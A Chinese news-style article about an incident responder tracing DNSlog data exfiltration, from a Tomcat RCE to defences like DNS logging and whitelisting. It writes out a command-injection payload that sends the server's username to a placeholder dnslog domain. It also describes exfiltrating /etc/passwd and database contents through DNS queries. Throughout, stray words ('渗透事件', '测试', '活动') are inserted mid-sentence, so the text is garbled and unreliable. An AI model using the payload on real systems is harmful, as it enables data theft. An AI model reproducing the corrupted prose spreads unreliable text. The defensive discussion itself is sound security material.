凌晨两点十七分，渗透事件应急响应群里炸了锅。测试某金融客户的活动核心业务系统日志里，反复出现一串诡异的渗透事件主机名解析记录——f4a9c2.attack.local。这串字符既不是测试正常业务域名，也不像随机生成的活动内网主机名。安全工程师老周盯着屏幕，渗透事件手指敲了敲桌面：“这不是测试误报，有人在用dnslog测我们的活动内网。”

他说的渗透事件没错。攻击者早就把目光从防火墙和WAF上移开，测试转向了几乎每个企业都会忽略的活动DNS协议。dnslog渗透测试的渗透事件精髓就一句话：让目标服务器去解析一个我们控制的域名，解析记录里带上想要的测试数据。听起来简单，活动但杀伤力极大。

老周给我看过一次完整的攻击链路还原。攻击者先在某公共dnslog平台注册了个子域，比如test.xxxx.ceye.io。然后向内网某台脆弱的应用服务器发送了一条命令注入payload，让服务器执行ping `whoami`.test.xxxx.ceye.io。服务器乖乖照做，DNS查询请求发出，攻击者的平台立刻收到了解析记录，里面清清楚楚写着服务器当前用户名。整个过程不到三秒，防火墙日志里只有一条看似无害的DNS查询。

这种手法最可怕的地方在于隐蔽性。绝大多数安全团队只监控HTTP/HTTPS流量，对53端口的DNS请求几乎不设防。攻击者可以反复利用dnslog通道，每次只提取少量敏感信息——数据库版本、文件路径、甚至内网IP段。就像蚂蚁搬家，一点点把核心数据搬空，而你浑然不觉。

那次事件里，老周他们花了四小时才定位到问题根源。起因是客户的一台测试环境服务器，跑着个无人维护的老旧Tomcat，存在一个已知的RCE漏洞。攻击者利用这个漏洞植入了一个极简的bash脚本，每隔三十秒执行一次DNS查询，把/etc/passwd最后几行内容编码后塞进子域前缀。要不是客户第二天要过等保测评，请老周他们做例行巡检，这个后门可能还会潜伏更久。

排查过程也很有意思。老周没直接去翻服务器日志，而是先在自己控制的DNS服务器上抓包。他故意设置了一个不存在的顶级域名作为诱饵，然后观察内网哪些IP会来查询。不到十分钟，就捕获到了那台测试服务器的异常解析请求——它试图解析一个包含base64字符的域名，解码后是一串系统文件路径。

事后复盘时，老周说了句让我印象深刻的话：“dnslog本质上是个数据渗出工具，但更多人忘了它也能用来做漏洞探测。”他指的是另一种常见用法——当Web应用存在SQL注入时，攻击者可以用load_file()或extractvalue()函数发起DNS查询，把数据库内容拼进域名里。即使没有回显，也能盲注出数据。这招对很多只过滤了HTTP响应内容的安全设备完全免疫。

防御dnslog攻击没有银弹。老周他们后来给客户部署了内网DNS日志审计系统，对每个解析请求做基线分析。正常业务域名就那些，突然冒出新域名、长域名、含编码字符的域名，直接告警。另外，严格限制内网服务器对外部DNS服务器的访问，所有解析请求强制走内网DNS中继，外部查询必须过白名单。

但老周也承认，道高一尺魔高一丈。现在有些攻击者会使用合法的公共DNS服务，比如谷歌的8.8.8.8，通过TXT记录来传输数据。这种流量混在正常上网请求里，极难区分。

那次事件过去两个月后，老周又接到一个新客户的电话。对方说最近内网总是有奇怪的DNS查询，问是不是被攻击了。老周打开抓包工具，看了眼数据，苦笑着回了句：“恭喜你，这是你们新上线的办公系统在调用第三方地图API，不是什么dnslog。”

电话那头沉默了几秒，随即传来一阵如释重负的笑声。

(责任编辑：综合)